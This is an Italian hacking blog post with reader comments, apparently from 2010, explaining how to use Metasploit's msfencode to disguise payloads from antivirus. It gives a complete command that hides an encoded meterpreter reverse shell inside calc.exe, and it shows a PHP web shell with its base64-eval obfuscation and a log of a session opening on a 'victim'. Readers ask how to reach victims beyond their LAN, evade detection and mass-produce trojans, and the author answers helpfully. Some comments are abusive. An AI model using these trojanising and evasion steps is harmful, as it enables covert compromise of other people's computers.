ClsHack Blog


[Metasploit] Bypass Antivirus with msfencode

October 6th, 2010 by clshack


Metasploit consente di codificare un payload oppure un file eseguibile già esistente, e perciò bypassare quasi sempre gli antivirus.
I formati attualmente supportati sono:
The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
Dal 08/19/2010 è possibile codificare anche dll e perciò eseguire attacchi di tipo DLL Hijacking in sicurezza** _._

Una volta codificato l’eseguibile, non basterà altro che farlo eseguire alla vittima.
Prima, però dovremo mettere in ascolto il nostro metasploit.
[Metasploit] multi/handler :D


Quando la vittima eseguirà il nostro virus, trojan _._ avremo una bella shell remota aperta _._
[*] Started reverse handler on 192.168.1.100:4444
[*] Starting the payload handler...
[*] Sending stage (748032 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.11:1056) ...


Il funzionamento di msfencode è semplice :D
Msfencode permette anche di codificare codice php ;)

Esempio:

#cat a.php
<?php
system($_GET['a']);
?>

Dove a.php è il file da codificare e -o è il file in output
cat a.php | ./msfencode -e php/base64 -t raw -o php_encoded.php
Risultato:
eval(base64_decode(".............));
Che penso sia molto meno capibile :D
(per uno che non conosce php altrimenti toglie eval e mette un echo _._ e vede tutto )
MsfEncode, può essere usato anche durante la prova di un exploit.
Basta usare questo comando:
set encoder ENCODER

Gli encoder possiamo visualizzarli eseguendo:
./msfencode -l

Vi lascio a google per altre info oppure al suo help _._

msfencode -h

Un esempio di uso con i suoi payload, potrebbe essere questo:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 R | ./msfencode -e x86/shikata_ga_nai -c 5 -x calc.exe -k -t exe -o calc2.exe

Dove l’opzione con l’ozione X possiamo inserire un payload in un file eseguibile già esistente senza modificarne il suo funzionamento, ad esempio nella calcolatrice di windows _._

  • Shadowy Viper

    Caspita, l’ultimo code mi ha lasciato perplesso e stupito!
    Quindi il tipo che aprirà la calcolatrice attiverà anche il payload e noi con multi/handler ci collegheremo? Per di più non è rivelabile perchè encodato. :)
    Confermi? Sarebbe davvero fenomenale metterlo in explorer.exe :)
    Grazie.

  • Pingback: [Metasploit] Bypass Antivirus with msfencode

  • clshack

    @SV:

    Si esatto perchè anche leggendo l’help si capisce:

    -k Keep template working; run payload in new thread (use with -x)

    Io ho usato l’opzione -k che runna il file normale e apre un nuovo thread con il payload usando lopzione X :D

  • http://sixthevicious.wordpress.com/ Six110

    Con le opportune citazioni posso aggiungerlo al mio articolo?
    http://sixthevicious.wordpress.com/2010/07/24/subme-reverse-metasploit/

    Saluti.

  • servant

    Scusate la domanda ingenua ma la reverse-shell mediante encoded-trojan è possibile solo in un ambiente LAN oppure anche tra due macchine nattate dietro i loro rispettivi router (pc1—router—web—router—pc2)?

  • clshack

    @servant:

    Te lo spiego male in poche parole :D

    Con la revere shell non sarà il pc vittima a dover avere aperta una porta in ascolto sul router, ma sarai te che dovrai aprirti una porta sul tuo router e il pc2 si conneterà a te ;)

    @Six110:
    certo che puoi :D stai scherdando :D mi può fare solo che piacere :D

  • servant

    Grazie per la spiegazione, solo un’ultima domanda…

    Come fa pc2 a sapere sempre l’indirizzo IP di pc1 (o meglio del suo router) se tale indirizzo viene assegnato dinamicamente dal provider?
    E’ necessario creare un payload intelligente che sfrutti un servizio tipo DynDNS per reperire di volta in volta l’IP del router vittima?

  • Shadowy Viper

    @servant:
    Visto che l’IP è dinamico, semplicemente vai su no-ip.org e ti crei un DNS, oppure ti fai un ip statico.

    @clshack:
    Ho provato su winzozz con la calc o il cmd ma quando tento di aprirli mi da un errore, e visto che metasploit su winzozz è runnato con cygwin, ho provato ad aprirli dalla shell di cygwin e funzionano. consigli? (oltre ad usare linux :) )
    Grazie

  • LordTittiS

    Non male ;)

    p.s. non vorrei dire una stronzata eh, ma sta guida mi pare di averla già vista scritta in un’altro modo su un blog americano, anche se non ne sono certo.

  • clshack

    @Shadowy Viper:
    Che errore ti da ? _._

    @LordTittiS:

    boh io ho preso spunto da:
    msfencode -h

  • Anonimo

    Ma genera dei file FUD? cioè l’antivirus non li rileva??

  • clshack

    @Anonimo :

    Per ora può generare questi file:

    raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war

    E comunque no la maggior parte degli antivirus non rivela virus dentro eseguibili modificati,compressi ;)

    Prova su virustotal;)

  • Shadowy Viper

    Scusa per il ritardo nella risposta, ma anche a me il tempo manca :)
    Comunque mi dice che il file generato non è un programma di win32. Nel senso che non mi si apre nè il prog (calc o cmd che sia) nè il payload, ovviamente.
    Ho un’ipotesi, però non vorrei dire una stronzata: il windows è seven a 64 bit.
    I payloads funzano anche su questa architettura?

  • clshack

    umm si:

    Shadowy Viper c’è scritto anche per x86 :D
    x86/shikata_ga_nai
    Comuqnue guarda se ci sono altri encoder per x64/i586 oppure usa altre tecniche:D
    Purtroppo sono su windows e non a casa _._ non posso provare comuqnue
    Bypassare un antivirus è semplice basta anche solo un po’ di compressione :D

    Ciao ;)

  • TheAppleMan

    Ciao ottima guida!
    Ma perchè io non riesco a connettermi alla “vittima” se non è in Lan?
    Io, quando imposto il PAYLOAD (per intenerci qui: ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 R | ./msfencode -e x86/shikata_ga_nai -c 5 -x calc.exe -k -t exe -o calc2.exe) quale ip devo mettere? Interno o quello che si trova ad esempio su imioip.it?

    (non pensare che sia un Lamer, è che sono curioso =) )
    Ciao

    TheAppleMan

  • clshack

    @TheAppleMan:

    grazie ;)

    Se vuoi far connettere un ip che non è nella tua rete “locale” non devi mettere il tuo ip interno* ma quello esterno, perciò quello che vedi ad esempio a destra nella sidebar qui su clshack.it

    Ma non basta se sei dietro a un router, dovrai aprirti le porte …aggiungere le eccezzioni su un eventuale firewall ecc …

    Ciao ;)

  • kalos

    ciao ragazzi volevo chiedere una cosa…sinceraemnte c’ ho capito davvero poco. Volevo sapere se si poteva nascondere un server da mandare alla vittima per controllarlo con PROrat e altri simili…se la risposta è affermativa potreste indicarmi come fare nello specifico?!! grazie

  • zittinobob

    clshack, ottimo blog. ti chiedo un chiarimento sugli “encoder”: ho seguito la tua guida ma senza successo. puoi postare altri (più semplici) esempi?. sei cmq gentilissimo. e. davvero, un grande.

    grazie

  • clshack

    @zittinobob:
    ciao grazie per i complimenti :D

    penso che esempi più semplici di quelli sopra citati non ce ne siano… ma googleti darà sicuramente una mano… comunque la prossima volta posta gli errori che ricevi :P

  • zittinobob

    @clshack:
    ci sono riuscito. aveva sbagliato la sequenza dei comandi. succede…..
    resta cmq il fatto che il mio antivirus AVIRA rileva sempre e cmq il file exe che gli passo per attivare l’explpoit. da una parte mi conforta saperlo, ma dal’altra mi frustra, non sapendo come risolvere il problema. che dici?

  • cerry8

    Ciao a tutti,
    io ho provato gia in passato questo tipo di exploit passando manualmente il file codificato alla vittima e funziona alla grande.
    Ma in questo caso il codice in php a che serve? Facendo caricare alla vittima la pagina contenente quello script in php, la vittima avvia l’exploit?
    Grazie!

  • trk

    Ciao cls volevo sapere se avevi un idea o conoscevi un metodo per generare una serie di troian con ip progressivo da .1 a .245 sarebbe un po lunga generarli uno ad uno,con un copia incolla delle righe di comando lo fa praticamente da solo ma è lunga pure scrivere una per una 254 righe!grazie in anticipo

  • clshack_

    un po’ di programmazione non fa male v.v

  • trk

    guarda sei un grandissimo testa di cazzo davvero,pensi di essere bill cazzo gates e sai 2 cose tradotte da google proprio come tutto il tuo sito,alla fine ho generato una macro in exel ma dio santo levati il latte che ti cola ancora dalla bocca!FALLITO!
    ps goditi le seghe che ti spari sul pinguino coglione!

  • clshack_

    visto che il mio blog è tradotto :) cosa falsa vatti a leggere quelli inglesi :)

  • http://twitter.com/PROPPETTO domenico michienzi

    siccome ora viene rilevato, come faccio a codificarlo in modo da bypassare l’antivirus?? premetto che ho provato ha codificarlo in molti modi e con più encoder, iniettandolo anche in un eseguibile come la calcolatrice di windows.. grz…

  • http://twitter.com/PROPPETTO domenico michienzi

    siccome ora viene rilevato, come faccio a codificarlo in modo da bypassare l’antivirus?? premetto che ho provato ha codificarlo in molti modi e con più encoder, iniettandolo anche in un eseguibile come la calcolatrice di windows.. grz…